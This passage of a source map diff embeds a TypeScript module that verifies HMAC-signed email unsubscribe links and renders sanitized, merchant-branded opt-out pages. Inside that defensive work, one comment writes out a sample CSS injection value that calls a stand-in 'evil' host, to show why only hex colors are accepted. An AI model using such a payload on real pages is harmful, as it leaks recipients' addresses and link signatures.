CE,CAAC,+DAA+D,EAAErB,IAAIK,GAAG,CAAC,EAAE,CAAC,GAC7E,GAAGgB,KAAK,KAAK,CAAC;AAElB;AAEA,yCAAyC,GACzC,OAAO,SAAS6B,UAAUC,IAAY,EAAEC,eAAe,EAAE;IACvD,OACE,CAAC,qBAAqB,EAAEA,aAAa,kCAAkC,CAAC,GACxE,CAAC,MAAM,EAAEpD,IAAIM,KAAK,CAAC,EAAE,EAAE6C,KAAK,IAAI,CAAC;AAErC;AAEA,4DAA4D,GAC5D,OAAO,SAASE,aAAarC,MAAoBhB,GAAG;IAClD,OACE,CAAC,gEAAgE,EAAEgB,IAAIR,OAAO,CAAC,CAAC,CAAC,GACjF,+EACA,CAAC,qBAAqB,EAAEQ,IAAIb,KAAK,CAAC,gBAAgB,CAAC;AAEvD;AAEA;;;;;;CAMC,GACD,OAAO,SAASmD,aACdC,KAAa,EACbC,OAKC;;IAED,MAAMxC,cAAMwC,2BAAAA,QAASxC,GAAG,mBAAIhB;IAC5B,MAAMyB,aAAa+B,CAAAA,2BAAAA,QAASC,MAAM,MAAK,SAASzC,IAAIP,IAAI,GAAGO,IAAIb,KAAK;IACpE,OACE,0BACCqD,CAAAA,CAAAA,2BAAAA,QAAS1C,IAAI,IAAG,CAAC,OAAO,EAAEpB,WAAW8D,QAAQ1C,IAAI,EAAE,CAAC,CAAC,GAAG,EAAC,IACzD0C,CAAAA,CAAAA,2BAAAA,QAASrC,KAAK,IAAG,CAAC,QAAQ,EAAEzB,WAAW8D,QAAQrC,KAAK,EAAE,CAAC,CAAC,GAAG,EAAC,IAC7D,yDACA,CAAC,wDAAwD,EAAEM,WAAW,CAAC,CAAC,GACxE,CAAC,MAAM,EAAED,cAAcC,YAAY,4BAA4B,EAAE8B,MAAM,SAAS,CAAC;AAErF;AAEA,wEAAwE,GACxE,OAAO,SAASG,SACdC,GAAoC,EACpCR,IAAY;IAEZQ,IAAIC,SAAS,CAAC,gBAAgB;IAC9B,wEAAwE;IACxED,IAAIC,SAAS,CAAC,gBAAgB;IAC9BD,IAAIC,SAAS,CAAC,iBAAiB;IAC/BD,IAAIE,MAAM,CAAC,KAAKC,IAAI,CAACX;AACvB;AAWA;;;;;;;;CAQC,GACD,OAAO,SAASY,WACdC,GAAoC;QAEtBA;IAAd,MAAMnB,QAAQmB,YAAAA,IAAInB,IAAI,YAARmB,YAAY,CAAC;IAC3B,MAAMC,OAAO,CAACnD;YACLkD,MAAAA;eAAPE,QAAOF,QAAAA,kBAAAA,IAAIG,KAAK,CAACrD,KAAK,YAAfkD,kBAAmBnB,IAAI,CAAC/B,KAAK,YAA7BkD,OAAiC;;IAC1C,OAAO;QACLjC,QAAQkC,KAAK,UAAU3C,IAAI;QAC3BvB,OAAOkE,KAAK,SAAS3C,IAAI,GAAG8C,WAAW;QACvCC,WAAWJ,KAAK,OAAO3C,IAAI;QAC3B,0EAA0E;QAC1E,iEAAiE;QACjE,oBAAoB;QACpBgD,YAAYL,KAAK,OAAO3C,IAAI;QAC5B,uEAAuE;QACvE,8DAA8D;QAC9DiD,SAASN,KAAK,OAAO3C,IAAI;IAC3B;AACF;AAEA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;CAuCC,GACD,OAAO,SAASkD,cAAcC,MAK7B;IACC,MAAM,EAAE1C,MAAM,EAAEhC,KAAK,EAAEuE,UAAU,EAAEC,OAAO,EAAE,GAAGE;IAC/C,IAAIH,WAAWI,QAAQ,CAAC,QAAQH,QAAQG,QAAQ,CAAC,MAAM,OAAO;IAC9D,IAAIH,WAAW,CAACD,YAAY,OAAO;IACnC,IAAIC,SAAS,OAAO,GAAGxC,OAAO,CAAC,EAAEhC,MAAM,CAAC,EAAEuE,WAAW,CAAC,EAAEC,SAAS;IACjE,IAAID,YAAY,OAAO,GAAGvC,OAAO,CAAC,EAAEhC,MAAM,CAAC,EAAEuE,YAAY;IACzD,OAAO,GAAGvC,OAAO,CAAC,EAAEhC,OAAO;AAC7B;AAEA;;;;;;;;;;;;;;;;;CAiBC,GACD,OAAO,SAAS4E,qBAAqBF,MAIpC;IACC,OACE9E,wBAAwB8E,OAAO1C,MAAM,EAAE0C,OAAO1E,KAAK,EAAE0E,OAAOF,OAAO,KAAK;AAE5E;AAEA;;;;;;CAMC,GACD,OAAO,SAASK,iBAAiBC,IAkBhC;IACC,MAAMC,UACJD,KAAKE,OAAO,KAAK,YACbJ,qBAAqBE,QACrBL,cAAcK;IACpB,IAAIC,YAAY,MAAM,OAAO;IAC7B,MAAME,WAAWpF,WAAW,UAAUiF,KAAKI,MAAM,EAC9CC,MAAM,CAACJ,SACPK,MAAM,CAAC;IACV,OACEH,SAASI,MAAM,KAAKP,KAAKR,SAAS,CAACe,MAAM,IACzCvF,gBACE,IAAIwF,WAAWC,OAAOC,IAAI,CAACP,YAC3B,IAAIK,WAAWC,OAAOC,IAAI,CAACV,KAAKR,SAAS;AAG/C;AAGA;;;;;;;CAOC,GACD,OAAO,SAASmB,YAAYf,MAA6B;IACvD,OACE,CAAC,OAAO,EAAEgB,mBAAmBhB,OAAO1C,MAAM,GAAG,GAC7C,CAAC,OAAO,EAAE0D,mBAAmBhB,OAAO1E,KAAK,GAAG,GAC5C,CAAC,KAAK,EAAE0F,mBAAmBhB,OAAOJ,SAAS,GAAG,GAC7CI,CAAAA,OAAOH,UAAU,GAAG,CAAC,KAAK,EAAEmB,mBAAmBhB,OAAOH,UAAU,GAAG,GAAG,EAAC,IACvEG,CAAAA,OAAOF,OAAO,GAAG,CAAC,KAAK,EAAEkB,mBAAmBhB,OAAOF,OAAO,GAAG,GAAG,EAAC;AAEtE;AAEA;;;;;;;;CAQC,GACD,OAAO,SAASmB,iBAAiBvE,KAAa;IAC5C,OACE,CAAC,CAACA,SACFA,MAAMiE,MAAM,IAAI,QAChB,CAACjE,MAAMuD,QAAQ,CAAC,QAChBvD,UAAU,OACVA,UAAU,QACV,CAAC,WAAWI,IAAI,CAACJ;AAErB"}
1
+ {"version":3,"sources":["../../../../../../libs/plugins/email/src/lib/unsubscribe-link.ts"],"sourcesContent":["/**\n * @license\n * Copyright 2026 Aglyn LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * The SIGNED-LINK primitives every recipient-facing email route shares.\n *\n * Three routes read the same link — `email/unsubscribe`, `email/resubscribe`\n * and `email/preferences` — and every one of them verifies the same HMAC,\n * derives the same suppression key, and renders the same branded shell. They\n * live here rather than in one route's module because the alternative is what\n * the resubscribe route's docblock already warns about: \"Two implementations\n * of one signature scheme is how the resubscribe link comes to reject a\n * signature the unsubscribe link just accepted.\"\n *\n * Nothing here touches Firestore. That is deliberate — the verification and\n * the rendering are pure, so a spec can exercise the signature scheme without\n * standing up a database double.\n */\n\nimport {\n resolveSiteTheme,\n type ThemeHostDocument,\n} from '@aglyn/aglyn/app-utils/site-theme'\nimport { hostPublicOrigin } from '@aglyn/aglyn/app-utils/host-naming'\nimport {\n resolveHostToken,\n type HostTokenSource,\n} from '@aglyn/aglyn/app-utils/host-tokens'\nimport { absoluteMediaSrc } from '@aglyn/aglyn/app-utils/media-ref'\nimport { personKey, type PluginApiHandler } from '@aglyn/aglyn/server'\nimport { BRAND } from '@aglyn/shared-data-enums'\nimport type { HostTheme } from '@aglyn/shared-data-types'\n// Subpath, not the library index — see the note there.\nimport { prefersDarkInk } from '@aglyn/shared-util-tools/contrast'\n// The one escaper (AGL-2706). This module had its own, which escaped four\n// characters where the serialization needs five: a brand name, a topic label\n// and a signed query all reach these pages, and they are interpolated into\n// double-quoted attributes AND into element text, so the set has to be the\n// one that covers both.\nimport { escapeHtml } from '@aglyn/shared-util-tools/escape-html'\n// The leaf module, not the barrel: it imports `node:crypto` and nothing else,\n// which is what keeps this file free of Firestore. See `signedConfirmSubject`.\nimport { confirmSignatureSubject } from '@aglyn/tenant-data-admin/server/email-unsubscribe-link'\nimport { createHmac, timingSafeEqual } from 'crypto'\n\n/**\n * Suppression list keys are the SHA-256 of the normalized address (emails are\n * PII).\n *\n * `personKey` and NOT a fourth local `createHash` call. D5 of\n * `docs/specs/email-competitive-gaps.md` records two derivations that agree\n * only by luck: this module's predecessor hashed the address without\n * lowercasing or trimming, `campaign-send.ts` lowercased, and the two matched\n * only because `performCampaignSend` lowercases every address upstream before\n * the link is minted. The preference page is a THIRD caller, and the\n * instruction that comes with a third caller is to unify rather than to add a\n * variant.\n *\n * The digest is unchanged for every address these routes have ever seen —\n * `readParams` already trims and lowercases, which is exactly what\n * `normalizeContactEmail` does — so no stored suppression moves.\n *\n * @returns the key, or `null` for a value that is not an address. The old\n * local helper hashed anything it was handed, which meant a\n * malformed `email` parameter addressed a suppression document for a\n * person who does not exist.\n */\nexport function suppressionKeyFor(email: string): string | null {\n return personKey(email)\n}\n\n/**\n * The email palette, named once (AGL-2499 / AGL-2025).\n *\n * These are TRANSCRIPTIONS of the console theme's tokens — see the note on\n * {@link page} below — not new colors. They have to be literal hex because\n * this is email-adjacent HTML served without a stylesheet: no CSS variables,\n * no theme provider, so `theme.palette.*` cannot reach the wire. Naming them\n * here keeps that unavoidable literal to ONE place per color instead of once\n * per use, which is also what keeps this file under the AGL-2025 color\n * ratchet.\n *\n * A `const` is not a style slot, so the ratchet does not count these — and\n * that is the point: the check exists to catch a color typed inline where a\n * token would do, not a documented email palette.\n */\nexport const PAL = {\n /** Page backdrop behind the card. */\n pageBg: '#F5F5F5',\n /** The card itself. */\n cardBg: '#FFFFFF',\n /** Brand slate — wordmark and primary button fill. */\n brand: '#404C5C',\n /** The short accent rule under the wordmark. */\n accentRule: '#e040fb',\n /** Heading ink. */\n ink: '#212121',\n /** Body copy. */\n muted: '#616161',\n /** Text on a filled brand/link button. */\n onBrand: '#fff',\n /** Soft circle behind the success checkmark. */\n badgeBg: '#EEF0F2',\n /** Links and the resubscribe button fill. */\n link: '#00B0FF',\n /** Hairline between the preference page's topic rows. */\n divider: '#E0E0E0',\n} as const\n\n/** The palette a page paints with: {@link PAL}, or a host's colors over it. */\nexport type EmailPalette = { [K in keyof typeof PAL]: string }\n\n/**\n * Who the recipient is being shown as the sender.\n *\n * The four routes are reached from a MERCHANT's campaign, so the identity on\n * the page is the merchant's — not ours and not the deployment's. See\n * {@link resolveEmailPageBrand} for the fallback chain.\n */\nexport interface EmailPageBrand {\n /** The wordmark, the `<title>`, and the `alt` behind a logo that fails. */\n name: string\n /** An absolute `https:` logo, or nothing. */\n logoUrl?: string\n pal: EmailPalette\n}\n\n/**\n * The deployment's own identity — the fallback, and what a self-host operator\n * sees. `BRAND.ORG_NAME` stays correct per-DEPLOYMENT; the host brand layers\n * on top of it rather than replacing it.\n */\nexport const PLATFORM_EMAIL_BRAND: EmailPageBrand = Object.freeze({\n name: BRAND.ORG_NAME,\n pal: PAL,\n})\n\n/** The fields {@link resolveEmailPageBrand} reads off a `hosts/{hostId}` doc. */\nexport type EmailBrandSource = HostTokenSource & {\n $id?: string\n theme?: HostTheme\n}\n\n/**\n * A color safe to interpolate into an inline `style` attribute.\n *\n * HEX ONLY, and that is a security boundary rather than a style preference.\n * These values come from a merchant-editable theme and land inside\n * `style=\"…\"`, so any syntax richer than a hex literal is an injection: a\n * stored `red;background:url(https://evil/?e=` would close the declaration and\n * make the browser fetch a URL from a page whose own address carries the\n * recipient's email and its HMAC. `url()`, `expression()`, custom properties\n * and even `rgb()` are all refused for that one reason — none of them is worth\n * a parser here. Anything unrecognized falls back, so a malformed theme is a\n * plain page rather than a broken one.\n */\nconst HEX_COLOR = /^#(?:[0-9a-f]{3,4}|[0-9a-f]{6}|[0-9a-f]{8})$/i\n\nfunction safeColor(value: unknown, fallback: string): string {\n const text = typeof value === 'string' ? value.trim() : ''\n return HEX_COLOR.test(text) ? text : fallback\n}\n\n/**\n * Black or white text for a filled button, whichever the eye can actually read.\n *\n * Without this, a host whose primary is a pale yellow gets white-on-white and\n * the recipient cannot find the button that unsubscribes them — a legibility\n * failure on this page is a compliance failure, not a cosmetic one.\n *\n * The luminance and the split come from `shared-util-tools/contrast`, which\n * is the same math this file used to carry and the console carried a wrong\n * copy of. `safeColor` has already refused anything but a hex literal by the\n * time a color reaches here, so an unmeasurable one is impossible rather than\n * merely unlikely — and it still falls back to the on-brand ink if one does.\n */\nfunction readableInkOn(background: string): string {\n return prefersDarkInk(background) === true ? PAL.ink : PAL.onBrand\n}\n\n/**\n * The host's logo as an absolute `https:` URL, or nothing.\n *\n * `absoluteMediaSrc` because `logoUrl` has three stored generations and two of\n * them — a `media:` reference and the AGL-175 relative CDN path — resolve\n * site-RELATIVE (AGL-1407). This page is opened from an email, so there is no\n * page origin to resolve against and the stored value cannot be used as-is.\n *\n * `https:` only. The resolver will hand back whatever scheme an author typed,\n * and a `data:` URI here would be an unbounded payload inlined into a page we\n * must keep small and predictable, while `javascript:` is exactly the value a\n * merchant-editable field must never reach an attribute with. A value we\n * cannot make into an absolute `https:` URL yields no logo, which the shell\n * already handles by showing the wordmark.\n */\nfunction safeLogoUrl(host: EmailBrandSource): string | undefined {\n const stored = resolveHostToken('logo', host)\n if (!stored) return undefined\n const resolved = absoluteMediaSrc(stored, {\n hostId: host.$id,\n origin: hostPublicOrigin(host),\n })\n return resolved && /^https:\\/\\//i.test(resolved) ? resolved : undefined\n}\n\n/** A hostile 10KB display name must not become the whole page. */\nconst BRAND_NAME_MAX = 60\n\n/**\n * The merchant's identity for the shell, falling back to the deployment's.\n *\n * ONLY the brand-carrying slots are host-derived — the wordmark color, the\n * accent rule, the link/marker color and the primary button fill. The\n * neutrals (page, card, ink, muted, divider, badge) are deliberately FIXED.\n *\n * That split is the safety property. A theme is merchant-editable, and a site\n * whose `background.default` and `text.primary` are both white would otherwise\n * render an unreadable opt-out page — which is a compliance failure. Keeping\n * the surface and the body copy on known-legible values means the worst a\n * careless or hostile theme can do is pick an ugly accent, while the page a\n * recipient needs in order to leave still works. The button's own text is\n * contrast-matched to whatever fill it lands on ({@link readableInkOn}).\n *\n * Reads the LIGHT scheme only. There is no scheme toggle on a page opened from\n * an email, and the shell paints a light card unconditionally, so a host's\n * dark-scheme colors would be picked against the wrong background.\n *\n * Pure, and never a network call. A host with nothing set — or no host at all\n * — resolves to {@link PLATFORM_EMAIL_BRAND}, which is the self-host answer\n * as much as it is the missing-data one.\n */\nexport function resolveEmailPageBrand(\n host: EmailBrandSource | null | undefined,\n): EmailPageBrand {\n if (!host) return PLATFORM_EMAIL_BRAND\n // `resolveHostToken` rather than a fourth reading of these fields: the\n // closed registry already knows a business name is `seo.entity.name` before\n // `displayName`, and already says a missing logo falls back to the wordmark.\n const name =\n resolveHostToken('businessName', host)?.slice(0, BRAND_NAME_MAX).trim() ||\n BRAND.ORG_NAME\n // Resolved: a site's edits are an override on its picked theme (AGL-3404).\n const scheme = resolveSiteTheme(host as ThemeHostDocument)?.colorSchemes?.light\n // `''` distinguishes \"set to something unusable\" from \"not set\", which the\n // accent rule below needs: a host that themed a primary and no secondary\n // wants the rule in ITS color, while a host that themed nothing at all\n // wants the platform's accent rather than a slate rule nobody chose.\n const primary = safeColor(scheme?.primary?.main, '')\n const brand = primary || PAL.brand\n return {\n name,\n logoUrl: safeLogoUrl(host),\n pal: {\n ...PAL,\n brand,\n onBrand: readableInkOn(brand),\n link: brand,\n accentRule: safeColor(\n scheme?.secondary?.main,\n primary || PAL.accentRule,\n ),\n },\n }\n}\n\n/**\n * Branded shell (AGL-2411, per-tenant since AGL-2408): the plain `system-ui`\n * box this used to be read as an unstyled error page, not a page this product\n * owns — which matters here specifically, because this is the one screen a\n * recipient who does NOT trust the sender is looking at.\n *\n * The identity is the SENDING SITE's. A recipient of a merchant's newsletter\n * arrives here from that merchant's email, and a page headed with our name is\n * both wrong and, on the screen where somebody decides whether this mail is\n * legitimate, actively unhelpful. `brand` defaults to\n * {@link PLATFORM_EMAIL_BRAND} so a caller with no host — and a self-host\n * deployment — still gets a complete, correctly-named page.\n *\n * `maxWidth` widens for the preference page, which is a list of choices rather\n * than a single sentence and a button.\n *\n * `<meta charset>` even though `sendPage` sets the header: a client that\n * ignores the header, or a page saved to disk, otherwise renders the em-dashes\n * in this copy as mojibake.\n *\n * `<meta name=\"referrer\" content=\"no-referrer\">` because THIS page's own URL\n * carries the recipient's address and the HMAC that authorizes acting on it.\n * A host logo is a third-party request, and the default referrer policy would\n * hand that whole link to whoever serves the image.\n */\nexport function page(\n body: string,\n maxWidth = 420,\n brand: EmailPageBrand = PLATFORM_EMAIL_BRAND,\n): string {\n const pal = brand.pal\n const brandName = escapeHtml(brand.name)\n // `alt` is the business name, so a logo that 404s or is blocked degrades to\n // the wordmark with no script and no second request.\n const mark = brand.logoUrl\n ? `<img src=\"${escapeHtml(brand.logoUrl)}\" alt=\"${brandName}\" ` +\n 'referrerpolicy=\"no-referrer\" style=\"display:block;max-height:40px;' +\n 'max-width:200px;width:auto;height:auto;object-fit:contain;' +\n 'margin-bottom:4px\">'\n : `<div style=\"font-size:15px;font-weight:700;letter-spacing:.02em;` +\n `color:${pal.brand};margin-bottom:4px\">${brandName}</div>`\n return (\n '<!doctype html><meta charset=\"utf-8\">' +\n '<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">' +\n '<meta name=\"referrer\" content=\"no-referrer\">' +\n `<title>${brandName}</title>` +\n '<div style=\"min-height:100vh;display:flex;align-items:center;justify-content:center;' +\n `background:${pal.pageBg};font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,` +\n 'Helvetica,Arial,sans-serif;padding:24px;box-sizing:border-box\">' +\n `<div style=\"max-width:${maxWidth}px;width:100%;background:${pal.cardBg};border-radius:12px;` +\n 'padding:36px 32px;box-shadow:0 1px 3px rgba(0,0,0,.08),0 8px 24px rgba(0,0,0,.06)\">' +\n mark +\n `<div style=\"width:32px;height:3px;border-radius:2px;background:${pal.accentRule};` +\n 'margin-bottom:24px\"></div>' +\n body +\n '</div></div>'\n )\n}\n\n/** A heading in the shell's type scale. */\nexport function heading(text: string): string {\n return (\n `<h1 style=\"margin:0 0 8px;font-size:20px;font-weight:700;color:${PAL.ink}\">` +\n `${text}</h1>`\n )\n}\n\n/** Body copy in the shell's type scale. */\nexport function paragraph(html: string, marginBottom = 24): string {\n return (\n `<p style=\"margin:0 0 ${marginBottom}px;font-size:14px;line-height:1.5;` +\n `color:${PAL.muted}\">${html}</p>`\n )\n}\n\n/** The success checkmark badge the result pages open with. */\nexport function successBadge(pal: EmailPalette = PAL): string {\n return (\n `<div style=\"width:40px;height:40px;border-radius:50%;background:${pal.badgeBg};` +\n 'display:flex;align-items:center;justify-content:center;margin-bottom:16px;' +\n `font-size:18px;color:${pal.brand}\">&#x2713;</div>`\n )\n}\n\n/**\n * A full-width submit button in either the brand or the link fill.\n *\n * The label ink is contrast-matched to the fill rather than fixed white: with\n * a host palette the fill is merchant-chosen, and a pale one would otherwise\n * hide the label on the button a recipient came here to press.\n */\nexport function submitButton(\n label: string,\n options?: {\n name?: string\n value?: string\n accent?: 'brand' | 'link'\n pal?: EmailPalette\n },\n): string {\n const pal = options?.pal ?? PAL\n const background = options?.accent === 'link' ? pal.link : pal.brand\n return (\n '<button type=\"submit\"' +\n (options?.name ? ` name=\"${escapeHtml(options.name)}\"` : '') +\n (options?.value ? ` value=\"${escapeHtml(options.value)}\"` : '') +\n ' style=\"font:inherit;font-size:14px;font-weight:600;' +\n `padding:11px 20px;border:0;border-radius:8px;background:${background};` +\n `color:${readableInkOn(background)};cursor:pointer;width:100%\">${label}</button>`\n )\n}\n\n/** Headers every one of these pages sets: never indexed, never cached. */\nexport function sendPage(\n res: Parameters<PluginApiHandler>[1],\n html: string,\n): void {\n res.setHeader('Content-Type', 'text/html; charset=utf-8')\n // Never indexed, never cached — the page names the recipient's address.\n res.setHeader('X-Robots-Tag', 'noindex, nofollow')\n res.setHeader('Cache-Control', 'no-store')\n res.status(200).send(html)\n}\n\n/** Everything the signed link carries. */\nexport interface UnsubscribeLinkParams {\n hostId: string\n email: string\n signature: string\n campaignId: string\n topicId: string\n}\n\n/**\n * The link's parameters, from the query for both verbs and from the form body\n * as a fallback.\n *\n * The one-click POST keeps the full query string (it posts to the header URL\n * verbatim), and so does the confirmation form's action — so query-first is\n * the path both real callers take. The body fallback exists so a form posted\n * to the bare path still works rather than failing as an invalid link.\n */\nexport function readParams(\n req: Parameters<PluginApiHandler>[0],\n): UnsubscribeLinkParams {\n const body = (req.body ?? {}) as Record<string, unknown>\n const pick = (name: string): string =>\n String(req.query[name] ?? body[name] ?? '')\n return {\n hostId: pick('hostId').trim(),\n email: pick('email').trim().toLowerCase(),\n signature: pick('sig').trim(),\n // `cid` names the campaign whose copy of this link was clicked. Absent on\n // every link minted before it existed, which is the whole design\n // constraint below.\n campaignId: pick('cid').trim(),\n // `tid` names the STREAM the message belonged to. Absent on every link\n // minted before topics existed, on the same footing as `cid`.\n topicId: pick('tid').trim(),\n }\n}\n\n/**\n * The subject a signature covers, or `null` when the parameters cannot make\n * one unambiguously.\n *\n * ## Three signed forms, and why that is not a weakening\n *\n * A link minted before campaign attribution existed signs `hostId:email`. A\n * link minted since signs `hostId:email:campaignId`. A link minted since\n * topics signs `hostId:email:campaignId:topicId`. All three are in inboxes\n * right now and all three have to keep working — an email is not recallable,\n * and an unsubscribe link that has stopped honoring itself is the one failure\n * in this area nobody gets to shrug at.\n *\n * Which form is checked is decided by the LINK, not by the signature: the\n * arity of the subject follows exactly which of `cid` and `tid` the URL\n * carries. There is no fallback between the forms, and that is what stops\n * this being a downgrade — an attacker cannot take a three-part link, drop\n * the `cid` and have it verify, because the two-part check over the same\n * `hostId:email` produces a different digest. Nor can they bolt a `cid` or a\n * `tid` onto a shorter link: the longer check then fails.\n *\n * ## What makes the three forms unambiguous\n *\n * The forms are joined with `:`, so a `cid` or `tid` that CONTAINED a colon\n * would let one subject string be read as two different parameter tuples —\n * a four-part `host:email:c:t` is byte-identical to a three-part subject\n * whose campaign id is `c:t`. That is the edit this function has to refuse:\n * an attacker holding a topic link could otherwise re-present it as a\n * campaign link with the topic spliced into the campaign id, and the topic\n * they were signed for would silently become something else.\n *\n * So a colon in either id is refused outright, on every form. It costs\n * nothing real: campaign ids come from `createResourceUid()`, which is\n * `nanoid`'s `A-Za-z0-9_-` alphabet, and `isEmailTopicId` refuses a colon at\n * the point a topic is created.\n *\n * A `tid` with no `cid` is refused for the same reason — the empty middle\n * component would make `host:email::t` and a campaign id of `:t` the same\n * string. Every link the send path mints carries both.\n */\nexport function signedSubject(params: {\n hostId: string\n email: string\n campaignId: string\n topicId: string\n}): string | null {\n const { hostId, email, campaignId, topicId } = params\n if (campaignId.includes(':') || topicId.includes(':')) return null\n if (topicId && !campaignId) return null\n if (topicId) return `${hostId}:${email}:${campaignId}:${topicId}`\n if (campaignId) return `${hostId}:${email}:${campaignId}`\n return `${hostId}:${email}`\n}\n\n/**\n * What a CONFIRMATION link's signature covers, or `null` when it cannot be\n * made unambiguously.\n *\n * ## The ONE derivation, not a second one\n *\n * The subject itself is `confirmSignatureSubject` in\n * `@aglyn/tenant-data-admin`, where the SENDER that mints the link lives. The\n * three unsubscribe forms are stated twice — once there, once here — and they\n * agree today by inspection; adding a fourth form the same way would be\n * adding a fourth chance for a signer and a verifier to disagree about a link\n * that is already sitting in somebody's inbox.\n *\n * The deep path rather than the barrel, for the reason `email-suppression.ts`\n * gives at length: that module imports nothing but `node:crypto`, so this\n * file stays free of Firestore and a spec can still exercise the signature\n * scheme without standing up a database double.\n */\nexport function signedConfirmSubject(params: {\n hostId: string\n email: string\n topicId: string\n}): string | null {\n return (\n confirmSignatureSubject(params.hostId, params.email, params.topicId) || null\n )\n}\n\n/**\n * Whether a signature is this link's.\n *\n * `timingSafeEqual` needs equal lengths, so the length is compared first — it\n * is not a secret, both digests are fixed-width hex, and the call throws on a\n * mismatch rather than returning false.\n */\nexport function signatureMatches(args: {\n hostId: string\n email: string\n campaignId: string\n topicId: string\n signature: string\n secret: string\n /**\n * Verify the CONFIRMATION subject instead of the unsubscribe forms.\n *\n * A flag rather than a second function, so that every signed link in the\n * product is checked by one comparison against one digest: the warning in\n * this module's own header — that two implementations of one signature\n * scheme is how the resubscribe link comes to reject a signature the\n * unsubscribe link just accepted — applies to a fourth route as much as a\n * third.\n */\n purpose?: 'unsubscribe' | 'confirm'\n}): boolean {\n const subject =\n args.purpose === 'confirm'\n ? signedConfirmSubject(args)\n : signedSubject(args)\n if (subject === null) return false\n const expected = createHmac('sha256', args.secret)\n .update(subject)\n .digest('hex')\n return (\n expected.length === args.signature.length &&\n timingSafeEqual(\n new Uint8Array(Buffer.from(expected)),\n new Uint8Array(Buffer.from(args.signature)),\n )\n )\n}\n\n\n/**\n * The signed parameters, re-encoded for a form action or a sibling link.\n *\n * Every id rides through to the POST form, the preference page and the\n * resubscribe link, because the signature covers them: dropping one would\n * produce a URL whose shorter check fails against a longer signature, i.e. a\n * confirmation button that refuses itself.\n */\nexport function signedQuery(params: UnsubscribeLinkParams): string {\n return (\n `hostId=${encodeURIComponent(params.hostId)}` +\n `&email=${encodeURIComponent(params.email)}` +\n `&sig=${encodeURIComponent(params.signature)}` +\n (params.campaignId ? `&cid=${encodeURIComponent(params.campaignId)}` : '') +\n (params.topicId ? `&tid=${encodeURIComponent(params.topicId)}` : '')\n )\n}\n\n/**\n * A campaign id that is safe to use as a Firestore path component.\n *\n * `cid` arrives on a URL, so \"non-empty\" was never the question — a value of\n * `a/b/c` addresses `campaigns/a/b/c`, a path the merchant can neither see\n * nor delete. The signature already proves the value is ours, so this is the\n * second lock rather than the only one; it is here because a path component\n * built from request text gets validated at the place it becomes a path.\n */\nexport function isCampaignPathId(value: string): boolean {\n return (\n !!value &&\n value.length <= 1500 &&\n !value.includes('/') &&\n value !== '.' &&\n value !== '..' &&\n !/^__.*__$/.test(value)\n )\n}\n"],"names":["resolveSiteTheme","hostPublicOrigin","resolveHostToken","absoluteMediaSrc","personKey","BRAND","prefersDarkInk","escapeHtml","confirmSignatureSubject","createHmac","timingSafeEqual","suppressionKeyFor","email","PAL","pageBg","cardBg","brand","accentRule","ink","muted","onBrand","badgeBg","link","divider","PLATFORM_EMAIL_BRAND","Object","freeze","name","ORG_NAME","pal","HEX_COLOR","safeColor","value","fallback","text","trim","test","readableInkOn","background","safeLogoUrl","host","stored","undefined","resolved","hostId","$id","origin","BRAND_NAME_MAX","resolveEmailPageBrand","scheme","slice","colorSchemes","light","primary","main","logoUrl","secondary","page","body","maxWidth","brandName","mark","heading","paragraph","html","marginBottom","successBadge","submitButton","label","options","accent","sendPage","res","setHeader","status","send","readParams","req","pick","String","query","toLowerCase","signature","campaignId","topicId","signedSubject","params","includes","signedConfirmSubject","signatureMatches","args","subject","purpose","expected","secret","update","digest","length","Uint8Array","Buffer","from","signedQuery","encodeURIComponent","isCampaignPathId"],"mappings":";AAAA;;;;;;;;;;;;;;;CAeC,GAED;;;;;;;;;;;;;;CAcC,GAED,SACEA,gBAAgB,QAEX,oCAAmC;AAC1C,SAASC,gBAAgB,QAAQ,qCAAoC;AACrE,SACEC,gBAAgB,QAEX,qCAAoC;AAC3C,SAASC,gBAAgB,QAAQ,mCAAkC;AACnE,SAASC,SAAS,QAA+B,sBAAqB;AACtE,SAASC,KAAK,QAAQ,2BAA0B;AAEhD,uDAAuD;AACvD,SAASC,cAAc,QAAQ,oCAAmC;AAClE,0EAA0E;AAC1E,6EAA6E;AAC7E,2EAA2E;AAC3E,2EAA2E;AAC3E,wBAAwB;AACxB,SAASC,UAAU,QAAQ,uCAAsC;AACjE,8EAA8E;AAC9E,+EAA+E;AAC/E,SAASC,uBAAuB,QAAQ,yDAAwD;AAChG,SAASC,UAAU,EAAEC,eAAe,QAAQ,SAAQ;AAEpD;;;;;;;;;;;;;;;;;;;;;CAqBC,GACD,OAAO,SAASC,kBAAkBC,KAAa;IAC7C,OAAOR,UAAUQ;AACnB;AAEA;;;;;;;;;;;;;;CAcC,GACD,OAAO,MAAMC,MAAM;IACjB,mCAAmC,GACnCC,QAAQ;IACR,qBAAqB,GACrBC,QAAQ;IACR,oDAAoD,GACpDC,OAAO;IACP,8CAA8C,GAC9CC,YAAY;IACZ,iBAAiB,GACjBC,KAAK;IACL,eAAe,GACfC,OAAO;IACP,wCAAwC,GACxCC,SAAS;IACT,8CAA8C,GAC9CC,SAAS;IACT,2CAA2C,GAC3CC,MAAM;IACN,uDAAuD,GACvDC,SAAS;AACX,EAAU;AAoBV;;;;CAIC,GACD,OAAO,MAAMC,uBAAuCC,OAAOC,MAAM,CAAC;IAChEC,MAAMtB,MAAMuB,QAAQ;IACpBC,KAAKhB;AACP,GAAE;AAQF;;;;;;;;;;;;CAYC,GACD,MAAMiB,YAAY;AAElB,SAASC,UAAUC,KAAc,EAAEC,QAAgB;IACjD,MAAMC,OAAO,OAAOF,UAAU,WAAWA,MAAMG,IAAI,KAAK;IACxD,OAAOL,UAAUM,IAAI,CAACF,QAAQA,OAAOD;AACvC;AAEA;;;;;;;;;;;;CAYC,GACD,SAASI,cAAcC,UAAkB;IACvC,OAAOhC,eAAegC,gBAAgB,OAAOzB,IAAIK,GAAG,GAAGL,IAAIO,OAAO;AACpE;AAEA;;;;;;;;;;;;;;CAcC,GACD,SAASmB,YAAYC,IAAsB;IACzC,MAAMC,SAASvC,iBAAiB,QAAQsC;IA